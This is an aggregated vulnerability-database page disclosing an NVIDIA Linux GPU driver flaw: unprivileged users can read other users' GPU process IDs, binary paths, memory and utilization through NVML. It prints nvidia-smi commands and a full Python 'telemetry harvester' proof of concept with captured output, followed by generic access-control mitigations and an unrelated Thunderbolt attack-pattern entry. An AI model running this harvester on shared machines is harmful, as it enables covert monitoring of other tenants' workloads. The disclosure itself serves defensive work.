True: x=x@x.clamp(-1,1); torch.cuda.synchronize(); time.sleep(0.01)" Attacker, uid 1011, via the shipped CLI: nvidia-smi --query-compute-apps=pid,process_name,used_gpu_memory --format=csv,noheader nvidia-smi pmon -c 3 nvidia-smi nvlink -gt d That first command, run by an unprivileged user with no group membership, is the entire exploit. Everything below is the same read straight through NVML. Captured output as uid 1011 against the uid 1000 victim: pid, process_name, used_gpu_memory [MiB], gpu_uuid 77977, /usr/local/bin/all_reduce_perf, 2288 MiB, GPU-7d4392e5-96fd-7c8d-5dd4-113663cc7278 77977, /usr/local/bin/all_reduce_perf, 2288 MiB, GPU-fe44d319-939f-d747-de55-6802405cad8d Full PoC code, harnesses and raw evidence for both findings: <https://www.google.com/url?q=https://github.com/abhinavagarwal07/nvidia-gpu-security-poc&source=gmail&ust=1787513712074000&sa=E> Straight through NVML with no nvidia-smi involved. This is the complete exploit: #!/usr/bin/env python3 # unprivileged cross-UID GPU telemetry harvester # run as any local user: python3 harvest.py # pip install nvidia-ml-py (provides the `pynvml` module; the standalone # `pynvml` PyPI package is a deprecated shim as of v12) import os, pwd, pynvml def owner(pid): try: return os.stat("/proc/%d" % pid).st_uid except: return None def exe(pid): # Tries NVML first. NOTE: this direct call was not verified cross-UID here - # see the note below the output. Falls back to cmdline, never to exe. try: n = pynvml.nvmlSystemGetProcessName(pid) return n.decode() if isinstance(n, bytes) else n except Exception: # /proc/<pid>/cmdline is world-readable - this is how ps(1) shows other # users' command lines. /proc/<pid>/exe is NOT: readlink on it needs # PTRACE_MODE_READ, which this attacker does not have. try: return open("/proc/%d/cmdline" % pid,"rb").read().split(b"\0")[0].decode() except: return "?" def owner_name(u): try: return pwd.getpwuid(u).pw_name except KeyError: return str(u) # no passwd entry: LDAP, containers pynvml.nvmlInit() me = os.getuid() found = 0 for i in range(pynvml.nvmlDeviceGetCount()): h = pynvml.nvmlDeviceGetHandleByIndex(i) # cross-UID process table + per-process GPU memory for p in pynvml.nvmlDeviceGetComputeRunningProcesses(h): u = owner(p.pid) if u is not None and u != me: found += 1 print("[CROSS-UID] gpu=%d pid=%d uid=%d(%s) mem=%dMiB exe=%s" % ( i, p.pid, u, owner_name(u), (p.usedGpuMemory or 0) >> 20, exe(p.pid))) # cross-UID per-process SM / memory-controller utilization. # arg 2 is lastSeenTimeStamp in microseconds; only samples newer than it are # returned, so a small constant drains everything the driver still buffers. try: for pu in pynvml.nvmlDeviceGetProcessUtilization(h, 1000000): u = owner(pu.pid) if u is not None and u != me: print("[CROSS-UID-UTIL] gpu=%d pid=%d uid=%d sm=%d%% mem=%d%%" % ( i, pu.pid, u, pu.smUtil, pu.memUtil)) except pynvml.NVMLError as e: # NVML_ERROR_NOT_FOUND here means the driver's sample buffer is empty, # NOT that the call is gated. Poll for a few seconds and retry. print(" nvmlDeviceGetProcessUtilization -> %s" % e) # device-global telemetry, no gate at all print("[DEV] gpu=%d power=%.1fW util=%d%% mem_used=%dMiB" % ( i, pynvml.nvmlDeviceGetPowerUsage(h)/1000.0, pynvml.nvmlDeviceGetUtilizationRates(h).gpu, pynvml.nvmlDeviceGetMemoryInfo(h).used >> 20)) if not found: print("no cross-UID GPU processes visible (is a victim workload running?)") Output: [CROSS-UID] gpu=2 pid=77977 uid=1000(cc) mem=2288MiB exe=/usr/local/bin/all_reduce_perf [CROSS-UID] gpu=3 pid=77977 uid=1000(cc) mem=2288MiB exe=/usr/local/bin/all_reduce_perf [CROSS-UID-UTIL] gpu=2 pid=77977 uid=1000 sm=97% mem=41% NVML supplies the PID and the GPU memory figure. The binary path came from nvidia-smi --query-compute-apps=process_name, which is NVML-backed and returned the full path /usr/local/bin/all_reduce_perf to the unprivileged observer - that output is captured. The direct call, nvmlSystemGetProcessName(), is what the PoC above uses and it is NOT something I captured cross-UID; NVML documents NVML_ERROR_NO_PERMISSION for it, so verify it on your own host rather than taking it from me. The captured harness resolved names through /proc. Note that /proc/<pid>/exe is not readable cross-UID, so if you fall back to procfs use /proc/<pid>/cmdline, not exe. The only field procfs is needed for is the owning UID, via stat() on /proc/<pid>. Polling nvmlDeviceGetProcessUtilization in a loop yields a per-victim SM utilization time series. What that supports on the evidence here is busy-versus-idle and job start/stop. Finer structure - step cadence, phase boundaries - is plausible but was not demonstrated, and I do not claim it. Results: 5/5 positive sessions with all seven machine-scored success criteria passing, and 2/2 negative controls (no victim workload, no cross-UID records) confirming the signal tracks the victim. For every compute-app row root could see, the unprivileged observer saw a matching row - same PID, same binary name, same GPU - in all five positive sessions. That comparison is field-level (whitespace and row order normalized, process name compared by basename), not a byte diff. All channels leak with GPU accounting mode disabled, which is the fresh default, so this is not a case of an administrator having enabled accounting. Telemetry Channels ------------------ Channel NVML API CLI Result ----------------------------- --------------------------------------- ---------------------- -------------------------- Process PID nvmlDeviceGetComputeRunningProcesses --query-compute-apps LEAKS (redundant with ps) Binary path nvidia-smi's NVML-backed query --query-compute-apps LEAKS (captured); direct (nvmlSystemGetProcessName NOT captured) NVML call unverified Per-process GPU memory nvmlDeviceGetComputeRunningProcesses --query-compute-apps LEAKS - GPU-specific Per-process SM utilization nvmlDeviceGetProcessUtilization pmon LEAKS - GPU-specific NVLink Tx/Rx counters NVML_ERROR_NOT_SUPPORTED on this driver nvlink -gt d LEAKS via CLI - prior art NVLink topology / remote PCI nvmlDeviceGetNvLinkRemotePciInfo nvlink LEAKS Device power/clocks/util nvmlDeviceGetPowerUsage et al. -q LEAKS (device-global) Impact ------ A low-privileged tenant on a shared HPC or AI node passively monitors co-tenants in real time: who is running GPU work, which binary, the GPU memory footprint (a model-size proxy), the SM utilization timeline (training and idle cadence, step rate, job boundaries), and NVLink pair activity (distributed job topology). No computation content is read - no weights, a
Severity
No CVSS data available.
Impacted products
Vendor Product Version
Nvidia Linux GPU Affected: unknown
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{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Linux GPU",
          "vendor": "Nvidia",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Abhinav Agarwal"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "NVIDIA Linux GPU driver - cross-UID GPU process telemetry disclosure via NVML\n============================================================================\n\nOn a multi-user Linux GPU host where mutually untrusted users can open\nthe same /dev/nvidia* devices - the driver\u0027s default mode is 0666 - an\nunprivileged user can enumerate another user\u0027s GPU processes and\nper-process GPU telemetry through standard NVML management APIs. NVML\ndirectly returned the foreign PID, the per-process GPU-memory\nallocation and the SM utilization; nvidia-smi additionally displayed\nthe process path, but the corresponding direct\nnvmlSystemGetProcessName() call was not captured. Measured on one\nconfiguration: A100, MIG off, bare metal, two local UIDs. No root, no\ngpu/video/render group membership, no capabilities, no CUDA context of\nthe attacker\u0027s own, no performance counters, no injected traffic, no\nrace. The attacker learns, for processes belonging to other users:\nPID, per-process GPU memory allocation, per-process SM utilization,\nand - via nvidia-smi - the binary path. Read-only workload metadata;\nno GPU memory contents are read. NVIDIA reviewed the finding and\ndetermined it is expected behavior.\n\nAffected: NVIDIA Linux GPU driver, NVML management plane\nTested: 595.71.05-open; core channels also reproduced on 565.57.01-open\nHardware: A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off\nPlatform: Ubuntu 24.04, kernel 6.8.0-106, CUDA toolkit 12.9\n(driver-reported runtime 13.2)\nCWE: CWE-200 (exposure of information to an unauthorized actor),\nCWE-862 (missing authorization)\nStatus: Closed by NVIDIA as expected behavior. No fix. Public\ndisclosure authorized by NVIDIA PSIRT 2026-08-20.\nCVE: none assigned\nRef: Intigriti NVIDIA-W5AB0FZR\nCompanion: \"NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via\nundocumented peer-teardown ordering\" - same node, same driver, same\n0666 precondition\n\n\nRoot Cause\n----------\n\nTwo independent facts compound.\n\n(a) /dev/nvidia* is mode 0666 by driver default. This is set by the\nkernel module, not by a site udev rule.\n\n# grep -E \u0027ModifyDeviceFiles|DeviceFileMode|RmProfilingAdminOnly\u0027\n/proc/driver/nvidia/params\nModifyDeviceFiles: 1\nDeviceFileMode: 438\nRmProfilingAdminOnly: 1\n\n438 decimal is 0666 octal. ModifyDeviceFiles: 1 means the module\nrewrites existing device files to match its own defaults, so an\nadministrator who tightens the mode out-of-band can have it reverted\non module reload. The vendor sources agree: open-gpu-kernel-modules\ncarries NV_DEFINE_REG_ENTRY(__NV_DEVICE_FILE_MODE, 0666) in\nkernel-open/nvidia/nv-reg.h with the comment \"The default mode is 0666\n(octal, rw-rw-rw-)\", and the driver README \"Device files\" section\ndocuments UID 0 / GID 0 / Mode 0666 as the default, adding \"Existing\ndevice files are changed if their attributes don\u0027t match these\ndefaults.\"\n\n(b) NVML management APIs apply no UID, cgroup, or capability check to\na caller holding that file descriptor. Any opener receives the\nnode-wide management view.\n\n+------------------+ +-------------------+\n| victim uid 1000 | | attacker uid 1011 |\n| CUDA workload | | no groups, Cap=0 |\n+--------+---------+ +---------+---------+\n| |\n| open(2) /dev/nvidia* (0666) | open(2) /dev/nvidia* (0666)\nv v\n+-----------------------------------------------------------------------+\n| nvidia.ko -\u003e NVML management plane |\n| |\n| nvmlDeviceGetComputeRunningProcesses() -\u003e ALL pids, ALL uids |\n| nvmlDeviceGetProcessUtilization() -\u003e ALL pids, ALL uids |\n| ^ |\n| +--- no ownership check anywhere on this path|\n+-----------------------------------------------------------------------+\n\nNVML already has the concept of privilege-gating this exact call -\njust not in ordinary shared-GPU mode. From nvml.h, on both\nnvmlDeviceGetComputeRunningProcesses_v3 and\nnvmlDeviceGetMPSComputeRunningProcesses_v3:\n\n\"In MIG mode, if device handle is provided, the API returns aggregate\ninformation,\nonly if the caller has appropriate privileges.\"\n\nSo under MIG, process enumeration through the physical-device handle\nis privilege-gated. Outside MIG there is no corresponding UID\nownership boundary. Relatedly, nvmlDeviceGetComputeRunningProcesses_v3\ndocuments NVML_ERROR_NO_PERMISSION in its return list and does not\nreturn it here; nvmlDeviceGetProcessUtilization and\nnvmlDeviceGetMPSComputeRunningProcesses_v3 do not document that error\nat all.\n\nNote RmProfilingAdminOnly: 1 in the same params output. The CUPTI\nperformance-counter plane IS gated behind CAP_SYS_ADMIN on this exact\nnode - that gate was added as the fix for CVE-2018-6260. The NVML\nper-process management plane received no equivalent gate. That\nasymmetry is the finding.\n\n\nAttacker Prerequisites\n----------------------\n\nA shell account on the node. The observer used for all captured runs:\n\nuid=1011(victimuser) gid=1011(victimuser) groups=1011(victimuser)\n\nCapInh: 0000000000000000 -\u003e NONE\nCapPrm: 0000000000000000 -\u003e NONE\nCapEff: 0000000000000000 -\u003e NONE\nCapAmb: 0000000000000000 -\u003e NONE\nCapBnd: 000001ffffffffff\n\nNo sudo. Not in sudo/wheel/admin/docker/video/gpu/render.\nNo Docker socket. Cannot load kernel modules. Cannot ptrace other\nusers\u0027 processes.\n\n\nProof of Concept\n----------------\n\nVictim, uid 1000 - any long-running CUDA workload. The captured runs\nused nccl-tests all_reduce_perf on GPUs 2 and 3. Anything holding a\nCUDA context works; this needs only pytorch:\n\npython3 -c \"import torch,time\nx=torch.randn(8192,8192,device=\u0027cuda\u0027)\nwhile True: x=x@x.clamp(-1,1); torch.cuda.synchronize(); time.sleep(0.01)\"\n\nAttacker, uid 1011, via the shipped CLI:\n\nnvidia-smi --query-compute-apps=pid,process_name,used_gpu_memory\n--format=csv,noheader\nnvidia-smi pmon -c 3\nnvidia-smi nvlink -gt d\n\nThat first command, run by an unprivileged user with no group\nmembership, is the entire exploit. Everything below is the same read\nstraight through NVML. Captured output as uid 1011 against the uid\n1000 victim:\n\npid, process_name, used_gpu_memory [MiB], gpu_uuid\n77977, /usr/local/bin/all_reduce_perf, 2288 MiB,\nGPU-7d4392e5-96fd-7c8d-5dd4-113663cc7278\n77977, /usr/local/bin/all_reduce_perf, 2288 MiB,\nGPU-fe44d319-939f-d747-de55-6802405cad8d\n\nFull PoC code, harnesses and raw evidence for both findings:\n\u003chttps://www.google.com/url?q=https://github.com/abhinavagarwal07/nvidia-gpu-security-poc\u0026source=gmail\u0026ust=1787513712074000\u0026sa=E\u003e\n\nStraight through NVML with no nvidia-smi involved. This is the complete exploit:\n\n#!/usr/bin/env python3\n# unprivileged cross-UID GPU telemetry harvester\n# run as any local user: python3 harvest.py\n# pip install nvidia-ml-py (provides the `pynvml` module; the standalone\n# `pynvml` PyPI package is a deprecated shim as of v12)\nimport os, pwd, pynvml\n\ndef owner(pid):\ntry: return os.stat(\"/proc/%d\" % pid).st_uid\nexcept: return None\n\ndef exe(pid):\n# Tries NVML first. NOTE: this direct call was not verified cross-UID here -\n# see the note below the output. Falls back to cmdline, never to exe.\ntry:\nn = pynvml.nvmlSystemGetProcessName(pid)\nreturn n.decode() if isinstance(n, bytes) else n\nexcept Exception:\n# /proc/\u003cpid\u003e/cmdline is world-readable - this is how ps(1) shows other\n# users\u0027 command lines. /proc/\u003cpid\u003e/exe is NOT: readlink on it needs\n# PTRACE_MODE_READ, which this attacker does not have.\ntry: return open(\"/proc/%d/cmdline\" % pid,\"rb\").read().split(b\"\\0\")[0].decode()\nexcept: return \"?\"\n\ndef owner_name(u):\ntry: return pwd.getpwuid(u).pw_name\nexcept KeyError: return str(u) # no passwd entry: LDAP, containers\n\npynvml.nvmlInit()\nme = os.getuid()\nfound = 0\nfor i in range(pynvml.nvmlDeviceGetCount()):\nh = pynvml.nvmlDeviceGetHandleByIndex(i)\n\n# cross-UID process table + per-process GPU memory\nfor p in pynvml.nvmlDeviceGetComputeRunningProcesses(h):\nu = owner(p.pid)\nif u is not None and u != me:\nfound += 1\nprint(\"[CROSS-UID] gpu=%d pid=%d uid=%d(%s) mem=%dMiB exe=%s\" % (\ni, p.pid, u, owner_name(u),\n(p.usedGpuMemory or 0) \u003e\u003e 20, exe(p.pid)))\n\n# cross-UID per-process SM / memory-controller utilization.\n# arg 2 is lastSeenTimeStamp in microseconds; only samples newer than it are\n# returned, so a small constant drains everything the driver still buffers.\ntry:\nfor pu in pynvml.nvmlDeviceGetProcessUtilization(h, 1000000):\nu = owner(pu.pid)\nif u is not None and u != me:\nprint(\"[CROSS-UID-UTIL] gpu=%d pid=%d uid=%d sm=%d%% mem=%d%%\" % (\ni, pu.pid, u, pu.smUtil, pu.memUtil))\nexcept pynvml.NVMLError as e:\n# NVML_ERROR_NOT_FOUND here means the driver\u0027s sample buffer is empty,\n# NOT that the call is gated. Poll for a few seconds and retry.\nprint(\" nvmlDeviceGetProcessUtilization -\u003e %s\" % e)\n\n# device-global telemetry, no gate at all\nprint(\"[DEV] gpu=%d power=%.1fW util=%d%% mem_used=%dMiB\" % (\ni, pynvml.nvmlDeviceGetPowerUsage(h)/1000.0,\npynvml.nvmlDeviceGetUtilizationRates(h).gpu,\npynvml.nvmlDeviceGetMemoryInfo(h).used \u003e\u003e 20))\n\nif not found:\nprint(\"no cross-UID GPU processes visible (is a victim workload running?)\")\n\nOutput:\n\n[CROSS-UID] gpu=2 pid=77977 uid=1000(cc) mem=2288MiB\nexe=/usr/local/bin/all_reduce_perf\n[CROSS-UID] gpu=3 pid=77977 uid=1000(cc) mem=2288MiB\nexe=/usr/local/bin/all_reduce_perf\n[CROSS-UID-UTIL] gpu=2 pid=77977 uid=1000 sm=97% mem=41%\n\nNVML supplies the PID and the GPU memory figure. The binary path came\nfrom nvidia-smi --query-compute-apps=process_name, which is\nNVML-backed and returned the full path /usr/local/bin/all_reduce_perf\nto the unprivileged observer - that output is captured. The direct\ncall, nvmlSystemGetProcessName(), is what the PoC above uses and it is\nNOT something I captured cross-UID; NVML documents\nNVML_ERROR_NO_PERMISSION for it, so verify it on your own host rather\nthan taking it from me. The captured harness resolved names through\n/proc. Note that /proc/\u003cpid\u003e/exe is not readable cross-UID, so if you\nfall back to procfs use /proc/\u003cpid\u003e/cmdline, not exe. The only field\nprocfs is needed for is the owning UID, via stat() on /proc/\u003cpid\u003e.\n\nPolling nvmlDeviceGetProcessUtilization in a loop yields a per-victim\nSM utilization time series. What that supports on the evidence here is\nbusy-versus-idle and job start/stop. Finer structure - step cadence,\nphase boundaries - is plausible but was not demonstrated, and I do not\nclaim it.\n\nResults: 5/5 positive sessions with all seven machine-scored success\ncriteria passing, and 2/2 negative controls (no victim workload, no\ncross-UID records) confirming the signal tracks the victim. For every\ncompute-app row root could see, the unprivileged observer saw a\nmatching row - same PID, same binary name, same GPU - in all five\npositive sessions. That comparison is field-level (whitespace and row\norder normalized, process name compared by basename), not a byte diff.\nAll channels leak with GPU accounting mode disabled, which is the\nfresh default, so this is not a case of an administrator having\nenabled accounting.\n\n\nTelemetry Channels\n------------------\n\nChannel NVML API CLI Result\n----------------------------- ---------------------------------------\n---------------------- --------------------------\nProcess PID nvmlDeviceGetComputeRunningProcesses --query-compute-apps\nLEAKS (redundant with ps)\nBinary path nvidia-smi\u0027s NVML-backed query --query-compute-apps LEAKS\n(captured); direct\n(nvmlSystemGetProcessName NOT captured) NVML call unverified\nPer-process GPU memory nvmlDeviceGetComputeRunningProcesses\n--query-compute-apps LEAKS - GPU-specific\nPer-process SM utilization nvmlDeviceGetProcessUtilization pmon LEAKS\n- GPU-specific\nNVLink Tx/Rx counters NVML_ERROR_NOT_SUPPORTED on this driver nvlink\n-gt d LEAKS via CLI - prior art\nNVLink topology / remote PCI nvmlDeviceGetNvLinkRemotePciInfo nvlink LEAKS\nDevice power/clocks/util nvmlDeviceGetPowerUsage et al. -q LEAKS (device-global)\n\n\nImpact\n------\n\nA low-privileged tenant on a shared HPC or AI node passively monitors\nco-tenants in real time: who is running GPU work, which binary, the\nGPU memory footprint (a model-size proxy), the SM utilization timeline\n(training and idle cadence, step rate, job boundaries), and NVLink\npair activity (distributed job topology).\n\nNo computation content is read - no weights, a"
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              "cweId": "CWE-200",
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              "description": "CWE-862",
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        "discovery": "EXTERNAL"
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      "title": "NVIDIA Linux GPU driver: cross-UID GPU process telemetry via NVML, no CVE (vendor: expected behavior)",
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Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.